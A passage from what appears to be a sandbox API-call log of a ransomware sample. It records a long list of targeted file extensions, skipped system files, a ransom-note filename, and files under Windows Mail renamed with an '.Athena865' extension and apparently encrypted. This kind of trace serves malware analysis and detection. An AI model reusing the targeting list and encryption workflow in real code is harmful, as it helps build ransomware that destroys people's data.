lpString2="kexic") returned 1 [0046.950] lstrlenW (lpString="kexis") returned 5 [0046.950] lstrcmpiW (lpString1="p.dll", lpString2="kexis") returned 1 [0046.950] lstrlenW (lpString="lgc") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.950] lstrlenW (lpString="lwx") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.950] lstrlenW (lpString="maf") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.950] lstrlenW (lpString="maq") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.950] lstrlenW (lpString="mar") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.950] lstrlenW (lpString="marshal") returned 7 [0046.950] lstrcmpiW (lpString1="imp.dll", lpString2="marshal") returned -1 [0046.950] lstrlenW (lpString="mas") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.950] lstrlenW (lpString="mav") returned 3 [0046.950] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.950] lstrlenW (lpString="maw") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.951] lstrlenW (lpString="mdbhtml") returned 7 [0046.951] lstrcmpiW (lpString1="imp.dll", lpString2="mdbhtml") returned -1 [0046.951] lstrlenW (lpString="mdn") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.951] lstrlenW (lpString="mdt") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.951] lstrlenW (lpString="mfd") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.951] lstrlenW (lpString="mpd") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.951] lstrlenW (lpString="mrg") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.951] lstrlenW (lpString="mud") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.951] lstrlenW (lpString="mwb") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.951] lstrlenW (lpString="myd") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.951] lstrlenW (lpString="ndf") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.951] lstrlenW (lpString="nnt") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.951] lstrlenW (lpString="nrmlib") returned 6 [0046.951] lstrcmpiW (lpString1="mp.dll", lpString2="nrmlib") returned -1 [0046.951] lstrlenW (lpString="ns2") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.951] lstrlenW (lpString="ns3") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.951] lstrlenW (lpString="ns4") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.951] lstrlenW (lpString="nsf") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.951] lstrlenW (lpString="nv") returned 2 [0046.951] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.951] lstrlenW (lpString="nv2") returned 3 [0046.951] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.952] lstrlenW (lpString="nwdb") returned 4 [0046.952] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.952] lstrlenW (lpString="nyf") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.952] lstrlenW (lpString="odb") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.952] lstrlenW (lpString="odb") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.952] lstrlenW (lpString="oqy") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.952] lstrlenW (lpString="ora") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.952] lstrlenW (lpString="orx") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.952] lstrlenW (lpString="owc") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.952] lstrlenW (lpString="p96") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.952] lstrlenW (lpString="p97") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.952] lstrlenW (lpString="pan") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.952] lstrlenW (lpString="pdb") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.952] lstrlenW (lpString="pdm") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.952] lstrlenW (lpString="pnz") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.952] lstrlenW (lpString="qry") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.952] lstrlenW (lpString="qvd") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.952] lstrlenW (lpString="rbf") returned 3 [0046.952] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.952] lstrlenW (lpString="rctd") returned 4 [0046.952] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.952] lstrlenW (lpString="rod") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.953] lstrlenW (lpString="rodx") returned 4 [0046.953] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.953] lstrlenW (lpString="rpd") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.953] lstrlenW (lpString="rsd") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.953] lstrlenW (lpString="sas7bdat") returned 8 [0046.953] lstrcmpiW (lpString1="bimp.dll", lpString2="sas7bdat") returned -1 [0046.953] lstrlenW (lpString="sbf") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.953] lstrlenW (lpString="scx") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.953] lstrlenW (lpString="sdb") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.953] lstrlenW (lpString="sdc") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.953] lstrlenW (lpString="sdf") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.953] lstrlenW (lpString="sis") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.953] lstrlenW (lpString="spq") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.953] lstrlenW (lpString="te") returned 2 [0046.953] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.953] lstrlenW (lpString="teacher") returned 7 [0046.953] lstrcmpiW (lpString1="imp.dll", lpString2="teacher") returned -1 [0046.953] lstrlenW (lpString="tmd") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.953] lstrlenW (lpString="tps") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.953] lstrlenW (lpString="trc") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.953] lstrlenW (lpString="trc") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.953] lstrlenW (lpString="trm") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.953] lstrlenW (lpString="udb") returned 3 [0046.953] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.954] lstrlenW (lpString="udl") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.954] lstrlenW (lpString="usr") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.954] lstrlenW (lpString="v12") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.954] lstrlenW (lpString="vis") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.954] lstrlenW (lpString="vpd") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.954] lstrlenW (lpString="vvv") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.954] lstrlenW (lpString="wdb") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.954] lstrlenW (lpString="wmdb") returned 4 [0046.954] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.954] lstrlenW (lpString="wrk") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.954] lstrlenW (lpString="xdb") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.954] lstrlenW (lpString="xld") returned 3 [0046.954] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.954] lstrlenW (lpString="xmlff") returned 5 [0046.954] lstrcmpiW (lpString1="p.dll", lpString2="xmlff") returned -1 [0046.954] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll.Athena865") returned 56 [0046.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll" (normalized: "c:\\program files (x86)\\windows mail\\wabimp.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabimp.dll.athena865"), dwFlags=0x1) returned 1 [0046.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabimp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.955] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41984) returned 1 [0046.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.955] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.956] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.956] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.956] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa700, lpName=0x0) returned 0x154 [0046.963] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa700) returned 0x100000 [0046.966] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.967] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.967] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.968] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.968] CloseHandle (hObject=0x154) returned 1 [0046.968] CloseHandle (hObject=0x17c) returned 1 [0046.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.969] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2=".") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="..") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="windows") returned -1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="bootmgr") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="temp") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="pagefile.sys") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="boot") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="ids.txt") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="ntuser.dat") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="perflogs") returned 1 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2="MSBuild") returned 1 [0046.969] lstrlenW (lpString="wabmig.exe") returned 10 [0046.969] lstrcpyW (in: lpString1=0x241e890, lpString2="wabmig.exe" | out: lpString1="wabmig.exe") returned="wabmig.exe" [0046.969] lstrlenW (lpString="wabmig.exe") returned 10 [0046.969] lstrlenW (lpString="Athena865") returned 9 [0046.969] lstrcmpiW (lpString1="abmig.exe", lpString2="Athena865") returned -1 [0046.969] lstrlenW (lpString=".dll") returned 4 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2=".dll") returned 1 [0046.969] lstrlenW (lpString=".lnk") returned 4 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2=".lnk") returned 1 [0046.969] lstrlenW (lpString=".ini") returned 4 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2=".ini") returned 1 [0046.969] lstrlenW (lpString=".sys") returned 4 [0046.969] lstrcmpiW (lpString1="wabmig.exe", lpString2=".sys") returned 1 [0046.969] lstrlenW (lpString="wabmig.exe") returned 10 [0046.969] lstrlenW (lpString="bak") returned 3 [0046.969] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0046.969] lstrlenW (lpString="ba_") returned 3 [0046.969] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0046.969] lstrlenW (lpString="dbb") returned 3 [0046.969] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0046.969] lstrlenW (lpString="vmdk") returned 4 [0046.969] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0046.970] lstrlenW (lpString="rar") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0046.970] lstrlenW (lpString="zip") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0046.970] lstrlenW (lpString="tgz") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0046.970] lstrlenW (lpString="vbox") returned 4 [0046.970] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0046.970] lstrlenW (lpString="vdi") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0046.970] lstrlenW (lpString="vhd") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0046.970] lstrlenW (lpString="vhdx") returned 4 [0046.970] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0046.970] lstrlenW (lpString="avhd") returned 4 [0046.970] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0046.970] lstrlenW (lpString="db") returned 2 [0046.970] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0046.970] lstrlenW (lpString="db2") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0046.970] lstrlenW (lpString="db3") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0046.970] lstrlenW (lpString="dbf") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0046.970] lstrlenW (lpString="mdf") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0046.970] lstrlenW (lpString="mdb") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0046.970] lstrlenW (lpString="sql") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0046.970] lstrlenW (lpString="sqlite") returned 6 [0046.970] lstrcmpiW (lpString1="ig.exe", lpString2="sqlite") returned -1 [0046.970] lstrlenW (lpString="sqlite3") returned 7 [0046.970] lstrcmpiW (lpString1="mig.exe", lpString2="sqlite3") returned -1 [0046.970] lstrlenW (lpString="sqlitedb") returned 8 [0046.970] lstrcmpiW (lpString1="bmig.exe", lpString2="sqlitedb") returned -1 [0046.970] lstrlenW (lpString="xml") returned 3 [0046.970] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0046.971] lstrlenW (lpString="$er") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0046.971] lstrlenW (lpString="4dd") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0046.971] lstrlenW (lpString="4dl") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0046.971] lstrlenW (lpString="^^^") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0046.971] lstrlenW (lpString="abs") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0046.971] lstrlenW (lpString="abx") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0046.971] lstrlenW (lpString="accdb") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accdb") returned 1 [0046.971] lstrlenW (lpString="accdc") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accdc") returned 1 [0046.971] lstrlenW (lpString="accde") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accde") returned 1 [0046.971] lstrlenW (lpString="accdr") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accdr") returned 1 [0046.971] lstrlenW (lpString="accdt") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accdt") returned 1 [0046.971] lstrlenW (lpString="accdw") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accdw") returned 1 [0046.971] lstrlenW (lpString="accft") returned 5 [0046.971] lstrcmpiW (lpString1="g.exe", lpString2="accft") returned 1 [0046.971] lstrlenW (lpString="adb") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.971] lstrlenW (lpString="adb") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.971] lstrlenW (lpString="ade") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0046.971] lstrlenW (lpString="adf") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0046.971] lstrlenW (lpString="adn") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0046.971] lstrlenW (lpString="adp") returned 3 [0046.971] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0046.972] lstrlenW (lpString="alf") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0046.972] lstrlenW (lpString="ask") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0046.972] lstrlenW (lpString="btr") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0046.972] lstrlenW (lpString="cat") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0046.972] lstrlenW (lpString="cdb") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0046.972] lstrlenW (lpString="ckp") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0046.972] lstrlenW (lpString="cma") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0046.972] lstrlenW (lpString="cpd") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0046.972] lstrlenW (lpString="dacpac") returned 6 [0046.972] lstrcmpiW (lpString1="ig.exe", lpString2="dacpac") returned 1 [0046.972] lstrlenW (lpString="dad") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0046.972] lstrlenW (lpString="dadiagrams") returned 10 [0046.972] lstrlenW (lpString="daschema") returned 8 [0046.972] lstrcmpiW (lpString1="bmig.exe", lpString2="daschema") returned -1 [0046.972] lstrlenW (lpString="db-journal") returned 10 [0046.972] lstrlenW (lpString="db-shm") returned 6 [0046.972] lstrcmpiW (lpString1="ig.exe", lpString2="db-shm") returned 1 [0046.972] lstrlenW (lpString="db-wal") returned 6 [0046.972] lstrcmpiW (lpString1="ig.exe", lpString2="db-wal") returned 1 [0046.972] lstrlenW (lpString="dbc") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0046.972] lstrlenW (lpString="dbs") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0046.972] lstrlenW (lpString="dbt") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0046.972] lstrlenW (lpString="dbv") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0046.972] lstrlenW (lpString="dbx") returned 3 [0046.972] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0046.973] lstrlenW (lpString="dcb") returned 3 [0046.973] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0046.973] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0046.973] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0046.973] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0046.973] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0046.973] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0046.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe.Athena865") returned 56 [0046.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe.athena865"), dwFlags=0x1) returned 1 [0046.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.974] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=65536) returned 1 [0046.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.974] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.975] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.975] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.975] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x154 [0046.977] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x100000 [0046.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.982] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.982] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.982] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.983] CloseHandle (hObject=0x154) returned 1 [0046.983] CloseHandle (hObject=0x17c) returned 1 [0046.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.984] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, 